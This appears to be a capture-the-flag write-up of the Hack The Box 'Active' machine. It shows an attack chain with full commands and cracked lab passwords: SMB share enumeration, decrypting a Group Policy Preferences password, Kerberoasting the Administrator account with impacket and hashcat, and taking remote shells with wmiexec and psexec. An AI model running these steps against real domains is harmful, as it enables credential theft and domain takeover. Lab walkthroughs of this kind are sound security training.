> For the complete documentation index, see [llms.txt](https://0xzoro.gitbook.io/0xzoro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xzoro.gitbook.io/0xzoro/htb/htb-writeups/active.md).

# Active

Active is an easy to medium difficulty machine, which features two very prevalent techniques to gain privileges within an Active Directory environment.

<https://app.hackthebox.com/machines/Active?sort_by=created_at&sort_type=desc>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FS03vNpEQHjQyCImwpKrQ%2Fimage.png?alt=media&amp;token=1d7d10a7-6bf8-4102-9ef2-8f704ff0bdc5" alt=""><figcaption></figcaption></figure>

## Nmap\_Scan

first we will start with the usual Nmap scan command nmap -sC -sV -A 10.129.13.95&#x20;

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-01 08:06 EDT
Nmap scan report for 10.129.13.95
Host is up (0.15s latency).
Not shown: 983 closed tcp ports (reset)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-01 12:06:48Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/1%OT=53%CT=1%CU=40498%PV=Y%DS=2%DC=T%G=Y%TM=69CD0AB4
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=3%ISR=10D%TI=I%CI=I%II=I%SS=S%TS=7
OS:)SEQ(SP=106%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=106%GCD=1%ISR=
OS:10E%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=107%GCD=1%ISR=10C%TI=I%CI=I%II=I%SS=
OS:S%TS=7)SEQ(SP=FD%GCD=1%ISR=108%TI=I%CI=I%TS=7)OPS(O1=M542NW8ST11%O2=M542
OS:NW8ST11%O3=M542NW8NNT11%O4=M542NW8ST11%O5=M542NW8ST11%O6=M542ST11)WIN(W1
OS:=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O
OS:=M542NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N
OS:)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-01T12:08:08
|_  start_date: 2026-04-01T12:04:20
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: -1s

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   128.51 ms 10.10.16.1
2   63.99 ms  10.129.13.95

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.24 seconds

```

we usually use the past nmap command and while we check the first results we run nmap with option -p- so we can grap the whole open ports on the machine&#x20;

we can see that the host is Windows machine based on the services running on it and OS Fingerprint&#x20;

so we got a lot of services like LDAP, SMB, Kerberos, msrpc

i will go first to check the smb service&#x20;

### SMB Enum

i will use my set of tools to enum the SMB service&#x20;

First i will use smbmap from here <https://github.com/shawndevans/smbmap>

```
smbmap -H 10.129.13.95
```

```
[+] IP: 10.129.13.95:445        Name: 10.129.13.95              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users                                                   NO ACCESS
[|] Closing connections..                                                                                       [/] Closing connections..                                                                                       [-] Closing connections..                                                                                       [*] Closed 1 connections  
```

looks interesting but i will double check using smbclient

```
mbclient -N -L //10.129.13.95  
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        Replication     Disk      
        SYSVOL          Disk      Logon server share 
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.13.95 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

and i want to check also with crackmapexec for any extra information we can get

```
crackmapexec smb 10.129.13.95  
SMB         10.129.13.95    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
```

so now we know that we deals with Server 2008 R2

now we know that we have READ ONLY access to the share called Replication

### Access Replication

i will use this command to download eveything in the mentioned share&#x20;

```
smbclient //10.129.13.95/Replication -N -c "prompt OFF; recurse ON; mget *"
```

and we find three directories&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FOeF9JpDxij99aVEpPw7o%2Fimage.png?alt=media&amp;token=48fd716b-94b6-42e0-8253-411d7940d9f3" alt=""><figcaption></figcaption></figure>

i checked all files and found something interesting under Active/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups

the file contains the follwing&#x20;

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
```

this is a hint about some service user called

```
active.htb\SVC_TGS
```

and if we double check the password field it will come to us that the encuryption used is gpp

so we can use the following command to decrypt it&#x20;

```
gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FfNRTZNsTogZUBvRt6YYw%2Fimage.png?alt=media&amp;token=fa3490dc-d0ea-4712-bd1d-160a93a14907" alt=""><figcaption></figcaption></figure>

which gave us the password for the service account GPPstillStandingStrong2k18

now i will retry to connect to the SMB share with the creds i have found&#x20;

```
smbclient //10.129.13.95/Users -U "active.htb/SVC_TGS" --password='GPPstillStandingStrong2k18'
```

but i check all files nothing in them interesting&#x20;

but we have a domain username and password and we failed to find any extra users to do asreproasting&#x20;

so we can go with kerberoating option&#x20;

## Kerberoasting&#x20;

### Theory <a href="#theory" id="theory"></a>

When asking the KDC (Key Distribution Center) for a Service Ticket (ST), the requesting user needs to send a valid TGT (Ticket Granting Ticket) and the service name (`sname`) of the service wanted. If the TGT is valid, and if the service exists, the KDC sends the ST to the requesting user.

Multiple formats are accepted for the `sname` field: servicePrincipalName (SPN), sAMAccountName (SAN), userPrincipalName (UPN), etc. (see [Kerberos tickets](https://www.thehacker.recipes/ad/movement/kerberos/#tickets) "cname formats").

The ST is encrypted with the requested service account's NT hash. If an attacker has a valid TGT and knows a service (by its SAN or SPN), he can request a ST for this service and crack it offline later in an attempt to retrieve that service account's password.

In most situations, services accounts are machine accounts, which have very complex, long, and random passwords. But if a service account, with a human-defined password, has a SPN set, attackers can request a ST for this service and attempt to crack it offline. **This is Kerberoasting**.

For more: <https://www.thehacker.recipes/ad/movement/kerberos/kerberoast>

### Approach

for enumerating the possible kerberoastable users we can use the follwoing command

```
GetUserSPNs.py -dc-ip 10.129.13.95 active.htb/SVC_TGS
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F3hSu9tIMrPU61f2oZs7A%2Fimage.png?alt=media&amp;token=7f71b70b-b189-41ed-9aa5-1f8d5ebea4c2" alt=""><figcaption></figcaption></figure>

which will give you that the user Administrator is kerberoastable

Now you can use GetUserSPNs.py utility from kali or impacket-GetUserSPNs from impacket package

```
impacket-GetUserSPNs active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -dc-ip 10.129.13.95 -request

GetUserSPNs.py -dc-ip 10.129.13.95 active.htb/SVC_TGS
```

this will give you the following output&#x20;

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FTXMwna1dRrqFqWLnYKge%2Fimage.png?alt=media&amp;token=7f59bf49-acbd-46e6-852c-38e0a473a89a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2F4EkxzoN0WKRhZsTOIM5m%2Fimage.png?alt=media&amp;token=b263905f-b4fc-49aa-b524-f6c92ab488df" alt=""><figcaption></figcaption></figure>

### Cracking admin hash

now take the whole ticket and put it into file&#x20;

and let hashcat do the work for you&#x20;

```
hashcat -m 13100 -a 0 admin.hash /usr/share/wordlists/rockyou.txt 
```

Now we have the Administrator password, which is Ticketmaster1968

## Login as Administrator

but when i try to login with evil-winrm i get error but it is ok there are a lot of other tools to do the work for us

### Access with wmiexec.py&#x20;

```
wmiexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.13.95
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FoWqPDnjckKx2UyFzxB8K%2Fimage.png?alt=media&amp;token=d684ec3a-6bc4-4b86-a423-6e3c4cfa60a1" alt=""><figcaption></figcaption></figure>

### Access with psexec.py

Or we can use psexec.py tool&#x20;

```
psexec.py active.htb/Administrator@10.129.13.95
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FVfcHdu1d9GRSM9SUcv36%2Fimage.png?alt=media&amp;token=92aa8bb4-3fc7-4392-9fff-f0cc0a84bf57" alt=""><figcaption></figcaption></figure>

### Access with smbclient

Or you can use smbclient to connect to the machine and download the flag

```
smbclient //10.129.13.95/C$ -U active.htb\\administrator%Ticketmaster1968
```

<figure><img src="https://2296834841-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEjusbVL5nJyP2oBb32s8%2Fuploads%2FNqR3VM7DthPR7qNu6cjG%2Fimage.png?alt=media&amp;token=2592041f-cf25-4771-825e-fac7516416da" alt=""><figcaption></figcaption></figure>

And we successfully retrieved the Administrator flag

Thanks for reading